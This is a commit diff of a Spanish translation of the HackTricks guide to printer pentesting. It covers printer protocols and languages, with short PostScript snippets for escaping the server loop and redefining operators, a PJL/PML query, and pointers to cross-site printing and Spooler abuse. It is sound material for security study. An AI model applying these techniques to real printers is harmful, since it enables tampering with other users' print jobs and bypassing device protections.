Translated ['network-services-pentesting/pentesting-printers/README.md',

This commit is contained in:
Translator 2024-01-08 12:07:12 +00:00
parent d659fccc4d
commit 26340a11a7
20 changed files with 820 additions and 552 deletions

View file

@ -2,31 +2,29 @@
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
Otras formas de apoyar a HackTricks:
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
- Consigue el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **Comparte tus trucos de hacking enviando PR al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs exclusivos**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sigue** a **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
Por favor, ten en cuenta que **la mayoría del contenido de toda la información relacionada con el Pentesting de Impresoras** fue tomado **de la enorme y asombrosa investigación** que puedes encontrar en [**http://hacking-printers.net/**](http://hacking-printers.net). He intentado **resumir** esa información aquí, pero siempre puedes **ir a la fuente para aprender más sobre el tema**.
Por favor, ten en cuenta que **la mayoría del contenido de toda la información relacionada con \_Pentesting de Impresoras**\_\*\* \*\* fue tomada **de** la **enorme** y **asombrosa investigación** que puedes encontrar en [**http://hacking-printers.net/**](http://hacking-printers.net). He intentado **resumir** esa información aquí, pero siempre puedes **ir a la fuente para aprender más sobre el tema**.
## Fundamentos
A continuación se muestra una relación esquemática sobre la encapsulación de los lenguajes de impresora:\\
A continuación se muestra una relación esquemática sobre la encapsulación de los lenguajes de impresoras:\\
![Encapsulación de los lenguajes de impresora](http://hacking-printers.net/wiki/images/thumb/1/1d/Protocols.png/500px-Protocols.png)
![Encapsulación de los lenguajes de impresoras](http://hacking-printers.net/wiki/images/thumb/1/1d/Protocols.png/500px-Protocols.png)
## Protocolos de impresión en red
El **envío de datos** a un dispositivo de impresora se puede hacer mediante un **cable USB/paralelo** o a través de una **red**. Esta wiki se centra en la impresión en red, pero la mayoría de los ataques presentados también se pueden realizar contra impresoras locales. Hay varios protocolos exóticos para la impresión en red, como el [_NCP_](https://en.wikipedia.org/wiki/NetWare\_Core\_Protocol) de Novell o [_AppleTalk_](https://en.wikipedia.org/wiki/AppleTalk). En el mundo de Windows, las impresoras compartidas _SMB/CIFS_ se han vuelto bastante populares. Además, algunos dispositivos admiten la impresión a través de protocolos genéricos como la carga de archivos _FTP_ o _HTTP_. Sin embargo, los **protocolos de impresión más comunes** admitidos directamente por las **impresoras de red** son la impresión **_LPD_**, **_IPP_** y el **puerto 9100 de puerto crudo**, que se discutirán a continuación. Los **protocolos de impresión en red pueden ser atacados directamente**, por ejemplo, explotando un desbordamiento de búfer en el demonio LPD de la impresora. En muchos escenarios de ataque, sin embargo, actúan solo como un **transportador/canal** para **implementar código malicioso de lenguaje de impresora**. Tenga en cuenta que una **impresora de red generalmente admite múltiples protocolos para "imprimir"** un documento, lo que amplía la superficie de ataque.
**Enviar datos** a un dispositivo de impresión se puede hacer mediante **cable USB/paralelo** o a través de una **red**. Este wiki se centra en la impresión en red, pero la mayoría de los ataques presentados también se pueden realizar contra impresoras locales. Existen varios protocolos exóticos para la impresión en red como el [_NCP_](https://en.wikipedia.org/wiki/NetWare\_Core\_Protocol) de Novell o [_AppleTalk_](https://en.wikipedia.org/wiki/AppleTalk). En el mundo de Windows, las comparticiones de impresoras _SMB/CIFS_ se han vuelto bastante populares. Además, algunos dispositivos admiten la impresión a través de protocolos genéricos como subidas de archivos _FTP_ o _HTTP_. Sin embargo, los **protocolos de impresión más comunes** que admiten directamente las **impresoras en red** son _**LPD**_, _**IPP**_ y la impresión en el **puerto crudo 9100**. Los **protocolos de impresión en red pueden ser atacados directamente**, por ejemplo, explotando un desbordamiento de búfer en el daemon LPD de la impresora. Sin embargo, en muchos escenarios de ataque, solo actúan como un **canal** para **desplegar código malicioso de lenguaje de impresora**. Ten en cuenta que una **impresora en red generalmente admite múltiples protocolos para imprimir** un documento, lo que amplía la superficie de ataque.
### **Aprende más sobre** [**el puerto crudo 9100 aquí**](../9100-pjl.md)**.**
@ -34,32 +32,30 @@ El **envío de datos** a un dispositivo de impresora se puede hacer mediante un
### **Aprende más sobre** [**IPP en Pentesting 631 aquí**](../pentesting-631-internet-printing-protocol-ipp.md)**.**
## Lenguajes de control de impresora
## Lenguajes de Control de Impresoras
Un lenguaje de control de trabajo administra configuraciones como las bandejas de salida para el trabajo de impresión actual. Si bien generalmente se encuentra como una capa opcional entre el protocolo de impresión y el lenguaje de descripción de página, las funciones pueden superponerse. Ejemplos de lenguajes de control de trabajo específicos del proveedor son [CPCA](http://www.undocprint.org/formats/printer\_control\_languages/cpca), [XJCL](http://www.undocprint.org/formats/printer\_control\_languages/xjcl), [EJL](http://www.undocprint.org/formats/printer\_control\_languages/ejl) y **PJL** - que es compatible con una variedad de impresoras y se discutirá a continuación. Además, los **lenguajes de control y gestión de impresoras** están diseñados para **afectar** no solo a un solo trabajo de impresión sino al **dispositivo** en su **totalidad**. Un enfoque para definir un estándar común para esta tarea fue [NPAP](http://www.undocprint.org/formats/printer\_control\_languages/npap). Sin embargo, no se ha establecido y solo es compatible con Lexmark. Otros fabricantes de impresoras en su lugar utilizan SNMP o su metalenguaje basado en **PJL**, **PML**.
Un lenguaje de control de trabajos gestiona configuraciones como bandejas de salida para el trabajo de impresión actual. Aunque generalmente se sitúa como una capa opcional entre el protocolo de impresión y el lenguaje de descripción de página, las funciones pueden solaparse. Ejemplos de lenguajes de control de trabajos específicos de proveedores son [CPCA](http://www.undocprint.org/formats/printer\_control\_languages/cpca), [XJCL](http://www.undocprint.org/formats/printer\_control\_languages/xjcl), [EJL](http://www.undocprint.org/formats/printer\_control\_languages/ejl) y **PJL** que es compatible con una variedad de impresoras y se discutirá a continuación. Además, los **lenguajes de control y gestión de impresoras** están diseñados para **afectar** no solo a un único trabajo de impresión sino al **dispositivo** en su **totalidad**. Un enfoque para definir un estándar común para esta tarea fue [NPAP](http://www.undocprint.org/formats/printer\_control\_languages/npap). Sin embargo, no se ha establecido y solo es compatible con Lexmark. Otros fabricantes de impresoras en cambio utilizan SNMP o su metalenguaje **basado en PJL** **PML**.
### PJL
El Lenguaje de Trabajo de Impresora (PJL) fue introducido originalmente por HP, pero pronto se convirtió en un estándar de facto para el control de trabajos de impresión. "PJL reside por encima de otros lenguajes de impresora" y se puede utilizar para cambiar configuraciones como la bandeja o el tamaño del papel. Sin embargo, debe señalarse que **PJL no se limita al trabajo de impresión actual, ya que algunas configuraciones pueden hacerse permanentes**. PJL también se puede utilizar para **cambiar la pantalla de la impresora o leer/escribir archivos en el dispositivo**. Hay muchos dialectos ya que los proveedores tienden a admitir solo un subconjunto de los comandos enumerados en la referencia de PJL y prefieren agregar comandos propietarios. **PJL también se utiliza para establecer el formato de archivo de los datos de impresión reales que seguirán**. Sin un cambio explícito de lenguaje de este tipo, la impresora tiene que identificar el lenguaje de descripción de página en función de los números mágicos. A continuación se muestran los comandos típicos de PJL para establecer el tamaño del papel y el número de copias antes de cambiar el intérprete al modo PostScript:
El Lenguaje de Trabajos de Impresora (PJL) fue originalmente introducido por HP pero pronto se convirtió en un estándar de facto para el control de trabajos de impresión. 'PJL se sitúa por encima de otros lenguajes de impresoras' y se puede utilizar para cambiar configuraciones como la bandeja de papel o el tamaño. Sin embargo, se debe señalar que **PJL no se limita al trabajo de impresión actual ya que algunas configuraciones pueden hacerse permanentes**. PJL también se puede utilizar para **cambiar la pantalla de la impresora o leer/escribir archivos en el dispositivo**. Hay muchos dialectos ya que los proveedores tienden a admitir solo un subconjunto de los comandos listados en la referencia de PJL y prefieren agregar los propios. **PJL también se utiliza para establecer el formato de archivo de los datos de impresión reales que seguirán**. Sin un cambio de lenguaje explícito, la impresora tiene que identificar el lenguaje de descripción de página basado en números mágicos. A continuación se muestran comandos típicos de PJL para establecer el tamaño de papel y el número de copias antes de cambiar el intérprete al modo PostScript:
```
@PJL SET PAPER=A4
@PJL SET COPIES=10
@PJL ENTER LANGUAGE=POSTSCRIPT
```
Dentro de la [**página sobre el puerto 9100 'puerto raw'**](../9100-pjl.md) se puede encontrar más información sobre **cómo enumerar PJL**.
Dentro de la [**página sobre el puerto 9100 'puerto raw'**](../9100-pjl.md) puedes encontrar más información sobre **cómo enumerar PJL**.
### PML
El **Lenguaje de Gestión de Impresoras** (PML) es un lenguaje propietario para controlar **impresoras HP**. Básicamente **combina** las características de **SNMP** **con PJL**. No se ha publicado documentación disponible públicamente, sin embargo, partes del estándar fueron filtradas por el proyecto [LPRng](https://en.wikipedia.org/wiki/LPRng): la **Guía de usuario de PJL Passthrough a PML y SNMP** define PML como "un protocolo de gestión de impresoras de solicitud-respuesta orientado a objetos" y da una introducción a los conceptos básicos de la sintaxis. PML está incrustado dentro de PJL y **se puede utilizar para leer y establecer valores SNMP en un dispositivo de impresora**. Esto es especialmente **interesante** si un **firewall bloquea** el acceso a los servicios **SNMP** (161/udp). El uso de PML dentro de un trabajo de impresión que recupera el valor `hrDeviceDescr` (OID 1.3.6.1.2.1.25.3.2.1.3, descripción textual de un dispositivo) se muestra a continuación:
El **Printer Management Language** (PML) es un lenguaje propietario para controlar **impresoras HP**. Básicamente **combina** las características de **SNMP** **con PJL**. No se ha publicado documentación disponible al público, sin embargo, partes del estándar fueron filtradas por el proyecto [LPRng](https://en.wikipedia.org/wiki/LPRng): la **Guía del Usuario de Passthrough de PJL a PML y SNMP** define PML como 'un protocolo de gestión de impresoras basado en el modelo de solicitud-respuesta y orientado a objetos' y ofrece una introducción a los conceptos básicos de la sintaxis. PML está incrustado dentro de PJL y **puede usarse para leer y configurar valores SNMP en un dispositivo de impresión**. Esto es especialmente **interesante** si un **firewall bloquea** el acceso a servicios **SNMP** (161/udp). El uso de PML dentro de un trabajo de impresión para recuperar el valor `hrDeviceDescr` (OID 1.3.6.1.2.1.25.3.2.1.3, descripción textual de un dispositivo) se demuestra a continuación:
```
> @PJL DMINFO ASCIIHEX="000006030302010301"
< "8000000603030201030114106870204c617365724a65742034323530
```
La parte trasera de la cadena respondida por la impresora, `6870204c617365724a65742034323530`, es hexadecimal para `hp LaserJet 4250`. Como se puede ver, es posible **invocar** (un subconjunto de) **comandos SNMP a través de PJL vía PML**. Un uso de PML sensible a la seguridad es [restablecer las impresoras HP a los valores de fábrica](./#factory-defaults) a través de trabajos de impresión ordinarios, eliminando así mecanismos de protección como contraseñas establecidas por el usuario.
### UEL
El Lenguaje Universal de Salida (UEL) en realidad **no es un "lenguaje" real de control de trabajos, sino un solo comando utilizado para terminar la corriente de datos actual**: el carácter de escape (`\x1b`), seguido de `%-12345X`. Fue introducido originalmente con el PCL de HP y es **compatible con la mayoría de las impresoras láser modernas**. Una buena práctica de los "controladores de impresora" es invocar el UEL al principio y al final de cada trabajo de impresión, de modo que la interpretación del lenguaje de la impresora se detenga/reinicie y cada trabajo tenga su propio entorno separado, como se muestra a continuación:
El Lenguaje de Salida Universal (UEL) en realidad **no es un verdadero 'lenguaje' de control de trabajos sino un único comando utilizado para terminar la corriente de datos actual**: el carácter de escape (`\x1b`), seguido de `%-12345X`. Fue introducido originalmente con el PCL de HP y es **compatible con la mayoría de las impresoras láser modernas**. Una buena práctica de los 'controladores de impresora' es invocar el UEL al principio y al final de cada trabajo de impresión, de modo que se detenga/reinicie la interpretación del lenguaje de la impresora y cada trabajo tenga su propio entorno separado, como se muestra a continuación:
```
\x1b%-12345X
@PJL SET PAPER=A4
@ -69,27 +65,27 @@ El Lenguaje Universal de Salida (UEL) en realidad **no es un "lenguaje" real de
...
\x1b%-12345X
```
De lo contrario, por ejemplo, la configuración PJL como el tamaño del medio de papel o las definiciones de PostScript establecidas en un trabajo de impresión influirían en el siguiente trabajo. **UEL puede ser útil para concatenar varios trabajos en un solo archivo/secuencia de datos enviados a la impresora**. Esto se puede utilizar para engañar a los **contadores de páginas de hardware** o para cambiar el lenguaje de impresión en ataques **de impresión entre sitios**.
De lo contrario, por ejemplo, configuraciones de PJL como el tamaño del papel o definiciones de PostScript establecidas en un trabajo de impresión podrían influir en el siguiente trabajo. **UEL puede ser útil para encadenar múltiples trabajos en un solo archivo/flujos de datos enviado a la impresora**. Esto se puede utilizar para engañar a **contadores de páginas de hardware** o para cambiar el lenguaje de impresión en ataques avanzados de **impresión entre sitios**.
## Lenguajes de descripción de página
## Lenguajes de Descripción de Página
Un **lenguaje de descripción de página** (PDL) especifica la **apariencia del documento real**. Sin embargo, debe señalarse que algunos PDL ofrecen un control de trabajo limitado, por lo que **no siempre es posible una clara demarcación entre la descripción de página y el lenguaje de control de impresora/trabajo**. La función de un "controlador de impresora" es **traducir** el **archivo** que se va a **imprimir** en un **PDL** que es **entendido** por el modelo de impresora. Tenga en cuenta que algunas impresoras de inyección de tinta de bajo costo no admiten ningún lenguaje de descripción de página de alto nivel en absoluto. Las impresoras llamadas basadas en host o [GDI](https://en.wikipedia.org/wiki/Graphics\_Device\_Interface#GDI\_printers) solo aceptan secuencias de datos de mapa de bits simples como [ZJS](http://www.undocprint.org/formats/page\_description\_languages/zjstream) mientras que la representación real la realiza el controlador de impresora. Hay varios lenguajes de descripción de página propietarios como [PRESCRIBE](http://www.undocprint.org/formats/page\_description\_languages/prescribe) de Kyocera, [SPL](http://www.undocprint.org/formats/page\_description\_languages/spl), [XES](http://www.undocprint.org/formats/page\_description\_languages/xes), [CaPSL](http://www.undocprint.org/formats/page\_description\_languages/capsl), [RPCS](http://www.undocprint.org/formats/page\_description\_languages/rpcs), [ESC/P](https://en.wikipedia.org/wiki/ESC/P) que se utiliza principalmente en impresoras de matriz de puntos o [HP-GL](https://en.wikipedia.org/wiki/HPGL) y [HP-GL/2](https://en.wikipedia.org/wiki/HPGL#HP-GL.2F2) que han sido diseñados para plóteres. El soporte para la impresión directa de [PDF](https://en.wikipedia.org/wiki/Portable\_Document\_Format) y [XPS](https://en.wikipedia.org/wiki/Open\_XML\_Paper\_Specification) también es común en impresoras más nuevas. **Sin embargo, los lenguajes de descripción de página "estándar" más comunes son PostScript y PCL**.
Un **lenguaje de descripción de página** (PDL) especifica la **apariencia del documento real**. Sin embargo, debe señalarse que algunos PDL ofrecen un control limitado del trabajo, por lo que **una clara demarcación entre el lenguaje de descripción de página y el lenguaje de control de impresora/trabajo no siempre es posible**. La función de un 'controlador de impresora' es **traducir** el **archivo** a ser **impreso** en un **PDL** que sea **entendido** por el modelo de impresora. Cabe destacar que algunas impresoras de inyección de tinta de bajo costo no admiten ningún lenguaje de descripción de página de alto nivel. Las impresoras basadas en el host o [GDI](https://en.wikipedia.org/wiki/Graphics_Device_Interface#GDI_printers) solo aceptan flujos de datos de mapa de bits simples como [ZJS](http://www.undocprint.org/formats/page_description_languages/zjstream) mientras que el renderizado real lo realiza el controlador de impresora. Existen varios lenguajes de descripción de página propietarios como [PRESCRIBE](http://www.undocprint.org/formats/page_description_languages/prescribe) de Kyocera, [SPL](http://www.undocprint.org/formats/page_description_languages/spl), [XES](http://www.undocprint.org/formats/page_description_languages/xes), [CaPSL](http://www.undocprint.org/formats/page_description_languages/capsl), [RPCS](http://www.undocprint.org/formats/page_description_languages/rpcs), [ESC/P](https://en.wikipedia.org/wiki/ESC/P) que se utiliza principalmente en impresoras de matriz de puntos o [HP-GL](https://en.wikipedia.org/wiki/HPGL) y [HP-GL/2](https://en.wikipedia.org/wiki/HPGL#HP-GL.2F2) que se han diseñado para plotters. También es común el soporte para impresión directa de [PDF](https://en.wikipedia.org/wiki/Portable_Document_Format) y [XPS](https://en.wikipedia.org/wiki/Open_XML_Paper_Specification) en impresoras más nuevas. **Sin embargo, los lenguajes de descripción de página 'estándar' más comunes son PostScript y PCL.**
### PostScript (PS)
El término "descripción de página" puede ser engañoso, ya que **PostScript es capaz de mucho más que simplemente crear gráficos vectoriales**. PostScript es un lenguaje de programación basado en pila, **completamente Turing** que consta de casi 400 operadores para aritmética, manipulación de pila y gráficos y varios tipos de datos como matrices o diccionarios y fue creado por Adobe.\
Técnicamente hablando, el acceso a un intérprete de PostScript ya se puede clasificar como **ejecución de código** porque cualquier función algorítmica puede teóricamente ser implementada en PostScript. Ciertamente, sin acceso a la pila de red o bibliotecas adicionales del sistema operativo, las posibilidades se limitan a cálculos matemáticos arbitrarios como la minería de bitcoins. Sin embargo, PostScript es capaz de E/S básica del sistema de archivos para almacenar código, gráficos o archivos de fuente de uso frecuente.\
Originalmente diseñado como una característica, los peligros de tal funcionalidad **eran limitados** antes de que las impresoras se interconectaran y los riesgos se discutieran principalmente en el contexto de los intérpretes de PostScript basados en host. En este sentido, Encapsulated PostScript (EPS) también es notable ya que se puede incluir en otros formatos de archivo para ser interpretado en el host como documentos [LaTeX](https://en.wikipedia.org/wiki/LaTeX). Al igual que **PJL** y **PCL**, **PostScript** admite **comunicación bidireccional** entre el host y la impresora.\
A continuación se muestra un ejemplo de código PostScript para imprimir "Hola mundo" en stdout:
El término 'descripción de página' puede ser engañoso, ya que **PostScript es capaz de mucho más que solo crear gráficos vectoriales**. PostScript es un lenguaje de programación basado en pila, **Turing-completo** que consta de casi 400 operadores para aritmética, manipulación de pila y gráficos y varios tipos de datos como arreglos o diccionarios y fue creado por Adobe.\
Técnicamente hablando, el acceso a un intérprete de PostScript ya se puede clasificar como **ejecución de código** porque cualquier función algorítmica teóricamente se puede implementar en PostScript. Ciertamente, sin acceso a la pila de red o bibliotecas adicionales del sistema operativo, las posibilidades se limitan a cálculos matemáticos arbitrarios como minar bitcoins. Sin embargo, PostScript es capaz de E/S básica del sistema de archivos para almacenar código, gráficos o archivos de fuentes utilizados con frecuencia.\
Originalmente diseñado como una característica, los peligros de tal funcionalidad **estaban limitados** antes de que las impresoras se interconectaran y los riesgos se discutían principalmente en el contexto de intérpretes de PostScript basados en el host. En este sentido, también es notable el PostScript Encapsulado (EPS) ya que se puede incluir en otros formatos de archivo para ser interpretado en el host como documentos [LaTeX](https://en.wikipedia.org/wiki/LaTeX). Al igual que **PJL** y **PCL**, **PostScript** admite **comunicación bidireccional** entre el host y la impresora.\
A continuación se muestra un ejemplo de código PostScript para hacer eco de Hello world en stdout:
```
%!
(Hello world) print
```
Brother y Kyocera utilizan sus propios clones de PostScript: **Br-Script** y **KPDL**. Estas versiones del lenguaje PostScript no son 100% compatibles, especialmente en lo que respecta a características de seguridad como salir del bucle del servidor. PostScript se puede utilizar para una variedad de ataques, como [denegación de servicio](http://hacking-printers.net/wiki/index.php/Denial\_of\_service) (por ejemplo, a través de bucles infinitos), manipulación de trabajos de impresión y retención de trabajos de impresión, así como para acceder al [sistema de archivos](http://hacking-printers.net/wiki/index.php/File\_system\_access) de la impresora.
Brother y Kyocera utilizan sus propios clones de PostScript: **Br-Script** y **KPDL**. Estas variantes del lenguaje PostScript no son 100% compatibles, especialmente en lo que respecta a características de seguridad como salir del bucle del servidor. PostScript se puede utilizar para una variedad de ataques como [denegación de servicio](http://hacking-printers.net/wiki/index.php/Denial\_of\_service) (por ejemplo, a través de bucles infinitos), [manipulación](http://hacking-printers.net/wiki/index.php/Print\_job\_manipulation) y [retención](http://hacking-printers.net/wiki/index.php/Print\_job\_retention) de trabajos de impresión, así como para obtener acceso al [sistema de archivos](http://hacking-printers.net/wiki/index.php/File\_system\_access) de la impresora.
#### Salir del bucle del servidor
#### Saliendo del bucle del servidor
Normalmente, cada trabajo de impresión se encapsula en su propio entorno separado. Una característica interesante de **PostScript** es que un programa **puede evitar la encapsulación del trabajo de impresión** y alterar la VM inicial para trabajos posteriores. Para hacerlo, puede usar startjob, una función de nivel 2:
Normalmente, cada trabajo de impresión está encapsulado en su propio entorno separado. Una característica interesante de **PostScript** es que un programa **puede eludir la encapsulación del trabajo de impresión** y alterar la VM inicial para trabajos subsiguientes. Para hacerlo, puede utilizar startjob, una característica de Nivel 2:
```
true 0 startjob
```
@ -97,118 +93,133 @@ o exitserver (disponible en todas las implementaciones que incluyen un servidor
```
serverdict begin 0 exitserver
```
Esta capacidad está controlada por StartJobPassword, que por defecto es `0` (comparar con la divulgación de credenciales). Dado que el bucle del servidor de trabajos es generalmente responsable de limpiar el estado del intérprete entre trabajos, **cualquier cambio que se haga fuera del bucle del servidor permanecerá como parte del estado permanente del intérprete para todos los trabajos posteriores**. En otras palabras, un trabajo de impresión puede acceder y alterar trabajos posteriores. ¡Bingo!
Esta capacidad está controlada por StartJobPassword que por defecto es `0` (comparar divulgación de credenciales). Dado que el bucle del servidor de trabajos generalmente es responsable de limpiar el estado del intérprete entre trabajos, **cualquier cambio realizado fuera del bucle del servidor permanecerá como parte del estado permanente del intérprete para todos los trabajos subsiguientes**. En otras palabras, un trabajo de impresión puede acceder y alterar trabajos futuros. ¡Bingo!
#### Redefinición de operadores
Cuando un documento **PostScript** **llama** a un **operador**, se utiliza la **primera versión encontrada** en la pila de diccionarios. Los operadores suelen residir en el diccionario systemdict, sin embargo, colocando una nueva versión en el diccionario userdict, los operadores pueden ser prácticamente sobrescritos porque **la versión definida por el usuario es la primera encontrada en la pila de diccionarios**. Usando los operadores startjob/exitserver, tales cambios pueden hacerse permanentes, al menos hasta que se reinicie la impresora. Se muestra a continuación un esquema de la pila de diccionarios de PostScript:
Cuando un documento **PostScript** **llama** a un **operador**, se utiliza la **primera versión encontrada** en la pila de diccionarios. Los operadores generalmente residen en el diccionario systemdict, sin embargo, al colocar una nueva versión en el diccionario userdict, los operadores pueden ser prácticamente sobrescritos porque **la versión definida por el usuario es la primera encontrada en la pila de diccionarios**. Utilizando los operadores startjob/exitserver, tales cambios pueden hacerse permanentes al menos hasta que la impresora se reinicie. A continuación se muestra un esquema de la pila de diccionarios de PostScript:
\
[![La pila de diccionarios de PostScript](http://hacking-printers.net/wiki/images/thumb/f/ff/Dictstack.png/300px-Dictstack.png)](http://hacking-printers.net/wiki/index.php/File:Dictstack.png)
\
El **impacto potencial de la redefinición de operadores** está limitado solo por la creatividad. Cuando se imprimen más documentos legítimos y llaman a un operador redefinido, se ejecutará la versión del atacante. Esto puede llevar a varios ataques como [denegación de servicio](http://hacking-printers.net/wiki/index.php/Document\_processing#Showpage\_redefinition), retención de trabajos de impresión y manipulación de trabajos de impresión. Sin embargo, tenga en cuenta que esto no es necesariamente un error de seguridad, sino una característica del lenguaje de 32 años de antigüedad, disponible en casi cualquier impresora PostScript y [RIP](https://en.wikipedia.org/wiki/Raster\_image\_processor).
El **impacto potencial de redefinir operadores** solo está limitado por la creatividad. Cuando se imprimen documentos legítimos adicionales y llaman a un operador redefinido, se ejecutará la versión del atacante. Esto puede llevar a varios ataques como [denegación de servicio](http://hacking-printers.net/wiki/index.php/Document\_processing#Showpage\_redefinition), retención de trabajos de impresión y [manipulación](http://hacking-printers.net/wiki/index.php/Print\_job\_manipulation). Sin embargo, note que esto no es necesariamente un fallo de seguridad, sino una característica de un lenguaje de 32 años de antigüedad, disponible en casi cualquier impresora PostScript y [RIP](https://en.wikipedia.org/wiki/Raster\_image\_processor).
### PCL
PCL 3 y PCL 4 añadieron soporte para fuentes y macros que ambos pueden ser descargados permanentemente en el dispositivo, sin embargo, solo se hace referencia a ellos por un ID numérico, no por un nombre de archivo, ya que **no se pretende el acceso directo al sistema de archivos**. PCL 1 a 5 consisten en secuencias de escape seguidas de uno o más caracteres ASCII que representan un comando a interpretar. PCL 6 Enhanced o 'PCL XL' utiliza un protocolo orientado a objetos codificado en binario. A continuación se muestra un **ejemplo de documento PCL para imprimir 'Hola mundo'**:
PCL 3 y PCL 4 agregaron soporte para fuentes y macros que pueden descargarse permanentemente al dispositivo sin embargo, solo se hace referencia por un id numérico, no por un nombre de archivo, ya que **no se pretende el acceso directo al sistema de archivos**. PCL 1 a 5 consisten en secuencias de escape seguidas por uno o más caracteres ASCII que representan un comando a interpretar. PCL 6 Enhanced o PCL XL utiliza un protocolo binario codificado y orientado a objetos. A continuación se muestra un **ejemplo de documento PCL para imprimir Hello world**:
```
<Esc>Hello world
```
Debido a sus capacidades limitadas, PCL es difícil de explotar desde una perspectiva de seguridad a menos que se descubran comandos propietarios interesantes en la versión de PCL de algunos fabricantes de impresoras. La herramienta PRET implementa un sistema de archivos virtual basado en PCL que utiliza macros para guardar el contenido y los metadatos de los archivos en la memoria de la impresora. Este hack muestra que incluso un dispositivo que admite solo lenguajes de descripción de página minimalistas como PCL se puede utilizar para almacenar archivos arbitrarios como material que infringe los derechos de autor. Aunque convertir una impresora en un servicio de intercambio de archivos no es una vulnerabilidad de seguridad en sí misma, puede aplicarse como "uso indebido del servicio" dependiendo de la política corporativa.
Debido a sus capacidades limitadas, PCL es **difícil de explotar** desde una perspectiva de seguridad a menos que uno descubra comandos propietarios interesantes en alguna variante del PCL de los fabricantes de impresoras. La herramienta **PRET** implementa un **sistema de archivos virtual basado en PCL** que utiliza macros para **guardar el contenido y los metadatos de los archivos en la memoria de la impresora**. Este hack demuestra que incluso un dispositivo que solo admite lenguajes de descripción de páginas minimalistas como PCL puede usarse para almacenar archivos arbitrarios como material que infringe derechos de autor. Aunque convertir una impresora en un servicio de intercambio de archivos no es una vulnerabilidad de seguridad per se, puede considerarse como 'uso indebido del servicio' dependiendo de la política corporativa.
## Ataques varios
## Ataques Varios
### Unidad flash USB o cable
### Unidad USB o cable
Los datos se pueden enviar y recibir desde una impresora local mediante cables [USB](https://en.wikipedia.org/wiki/USB) o [paralelos](https://en.wikipedia.org/wiki/IEEE\_1284). Ambos canales son compatibles con **PRET** para comunicarse con el dispositivo. Además, las impresoras y los MFP a menudo se envían con puertos USB de tipo A que permiten a los usuarios imprimir directamente desde un dispositivo USB. Aunque las unidades flash USB conectadas no ofrecen un canal bidireccional, su uso en una sala de copias concurrida puede parecer menos conspicuo. Obviamente, explotar las impresoras USB requiere que el atacante obtenga acceso físico al dispositivo. Sin embargo, no es completamente irrealista para la mayoría de las instituciones y empresas. En general, se puede considerar que obtener acceso físico a la impresora es menos difícil que para otros componentes de la red como servidores o estaciones de trabajo.
Los datos pueden enviarse y recibirse de una impresora local por cables [USB](https://en.wikipedia.org/wiki/USB) o [paralelos](https://en.wikipedia.org/wiki/IEEE_1284). Ambos canales son compatibles con **PRET** para comunicarse con el dispositivo. Además, las impresoras y MFPs a menudo vienen con puertos USB tipo A que permiten a los usuarios imprimir directamente desde un dispositivo USB.\
Mientras que las unidades USB conectadas no ofrecen un canal bidireccional, su uso en una sala de copias concurrida puede parecer menos sospechoso. Obviamente, explotar impresoras USB requiere que el atacante obtenga acceso físico al dispositivo. Sin embargo, no es completamente irrealista para la mayoría de las instituciones y empresas. Conseguir acceso físico a la impresora generalmente se considera menos difícil que para otros componentes de red como servidores o estaciones de trabajo.
### Impresión entre sitios
Abusando de la solicitud web del cliente, un atacante puede abusar de impresoras arbitrarias dentro de la red interna del cliente conectado a su página web maliciosa. [**Aprende cómo es posible aquí.**](cross-site-printing.md)
Abusando de **solicitudes web del cliente** un atacante puede **abusar de impresoras arbitrarias** dentro de la red interna del cliente conectado a su página web maliciosa.\
[**Aprende cómo es posible esto aquí.**](cross-site-printing.md)
### Abuso del servicio Spooler en AD
### Abusando del servicio Spooler en AD
Si puede encontrar algún servicio Spool escuchando dentro del dominio, es posible que pueda abusar de él para obtener nuevas credenciales y escalar privilegios. [**Más información sobre cómo encontrar y abusar de los servicios Spooler aquí.**](../../windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md)
Si puedes encontrar cualquier **servicio Spooler escuchando** dentro del dominio, podrías ser capaz de **abusar** de él para **obtener nuevas credenciales** y **escalar privilegios**.\
[**Más información sobre cómo encontrar y abusar de servicios Spooler aquí.**](../../windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md)
## Escalada de privilegios
## Escalada de Privilegios
### Valores predeterminados de fábrica
### Valores de Fábrica
